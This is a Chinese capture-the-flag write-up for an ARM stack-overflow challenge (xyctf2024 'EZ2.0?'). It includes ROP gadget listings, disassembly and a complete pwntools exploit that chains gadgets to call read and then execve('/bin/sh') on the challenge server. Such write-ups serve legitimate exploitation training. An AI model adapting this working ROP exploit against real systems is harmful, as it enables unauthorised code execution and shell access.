arm pwn例题

  • 以xyctf2024 EZ2.0?为例题,主要记录一下做题过程
  • 发现pwntools的gdb.debug功能非常强大,可以很方便的调试
  1. 第一步看静态链接,网上一搜都说arm文件里应该有system函数,但是发现了/bin/sh字符串怎么都找不到system,也没有去符号表
  2. 于是想到来打orw,搜索到如下gadget
zp9080@LAPTOP-N2IL3LVK:~/PWN$ ROPgadget --binary arm --only "pop|ret"
Gadgets information
============================================================
0x0001056c : pop {fp, pc}
0x0005f73c : pop {r0, pc}
0x00026634 : pop {r0, r4, pc}
0x0005f824 : pop {r1, pc}
0x00010160 : pop {r3, pc}
0x00014264 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x000104e0 : pop {r4, pc}
0x0001d698 : pop {r4, r5, pc}
0x00011240 : pop {r4, r5, r6, pc}
0x00010970 : pop {r4, r5, r6, r7, pc}
0x000198bc : pop {r4, r5, r6, r7, r8, fp, pc}
0x000110dc : pop {r4, r5, r6, r7, r8, pc}
0x00026f2c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x000196a8 : pop {r4, r5, r6, r7, r8, sb, pc}
0x00010c1c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00010d9c : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0005d1ac : pop {r4, r5, r6, r7, r8, sl, pc}
0x0001c590 : pop {r4, r5, r7, pc}
0x0001b884 : pop {r4, r6, r7, pc}
0x000280a4 : pop {r4, r7, pc}
0x00027d78 : pop {r7, pc}

感觉好像没啥问题可以打,但是实际操作发现open的时候让r2寄存器变成0,这样即使open了文件read和write读入只能0字节 3. 准备打syscall,但是还是老问题,如何控制第三个参数 4. 最后搜索到可以类似csu这样来控制r2,于是得出解法

  • exp
from pwn import *
from pwnlib.util.packing import p32
context(arch='arm',endian='little',log_level='debug')
# p = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu/","./mips"])
# p=gdb.debug("./arm",'b *0x105C0')
p=remote('10.131.223.200',60929)

'''
0x00026634 : pop {r0, r4, pc}
0x0005f824 : pop {r1, pc}
00027DF4                 SVC     0
0x00010c1c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
'''
.text:00010D7C                 MOV     R2, R8
.text:00010D80                 MOV     R1, R7
.text:00010D84                 MOV     R0, R6
.text:00010D88                 LDR     R3, [R5,#4]!
.text:00010D8C                 ADD     R4, R4, #1
.text:00010D90                 BLX     R3
.text:00010D94                 CMP     R9, R4
.text:00010D98                 BNE     loc_10D7C
.text:00010D9C                 POP     {R4-R10,PC}
'''
read=0x27EC8
popchain=0x10c1c
csu=0x10D7C 
syscall=0x27DF4  
pop_r0_r4=0x26634 
pop_r1=0x5f824
bss=0x8AE80
#read(0,bss,0x100)
payload=b'a'*0x44+p32(pop_r0_r4)+p32(0)*2+p32(pop_r1)+p32(bss)+p32(read)+p32(0)*4+p32(popchain)
payload+=p32(0)+p32(bss+4)+p32(bss)+p32(11)+p32(0)+p32(0)*3+p32(csu)+p32(0)+p32(syscall)
payload=payload.ljust(0x100,b'a')
p.sendafter("welcome XYCTF arm world",payload)

payload=b'/bin/sh\x00'+p32(pop_r1)
payload=payload.ljust(0x100,b'a')
p.send(payload)

p.interactive()
  • exp中的细节
  1. read函数的细节
  • 注意arm架构会把LR压入栈,如果调用0x27EC4处的函数,无法进行rop,只能控制一次,因此调用从0x27EC8开始,注意vuln函数中的read很长,这样可以控制很大一部分栈的空间,只需注意 ADD SP, SP, #0xC ;POP {R4-R7,PC} 合理溢出来控制流程
.text:00027EC4                 PUSH    {R4-R7,LR}      ; Alternative name is '__libc_read'
.text:00027EC8                 MOV     R3, R0
.text:00027ECC                 BL      __aeabi_read_tp
.text:00027ED0                 MOV     R5, R0
.text:00027ED4                 LDR     R0, [R0,#-0x4C0]
.text:00027ED8                 SUB     SP, SP, #0xC
.text:00027EDC                 CMP     R0, #0
.text:00027EE0                 BNE     loc_27F08
.text:00027EE4                 MOV     R0, R3
.text:00027EE8                 MOV     R7, #3
.text:00027EEC                 SVC     0
.text:00027EF0                 CMN     R0, #0x1000
.text:00027EF4                 MOV     R4, R0
.text:00027EF8                 BHI     loc_27F64
.text:00027EFC
.text:00027EFC loc_27EFC                               ; CODE XREF: read+B4↓j
.text:00027EFC                 MOV     R0, R4
.text:00027F00                 ADD     SP, SP, #0xC
.text:00027F04                 POP     {R4-R7,PC}
  1. csu函数的细节
  • 要注意 LDR R3, [R5,#4]! BLX R3 这个语句,因为无法泄露栈地址,所以这里进行的操作是先read一次到bss,这样[R5,#4]的值就可控了,继续控制流程
  1. 注意pop指令是在栈上进行而不是bss段,但是溢出长度很长所以依旧可以控制栈,进而控制流程
  2. 注意arm的rop和linux的rop的区别,找到合适的gadget,分析如何控制流程就行了,syscall确实好用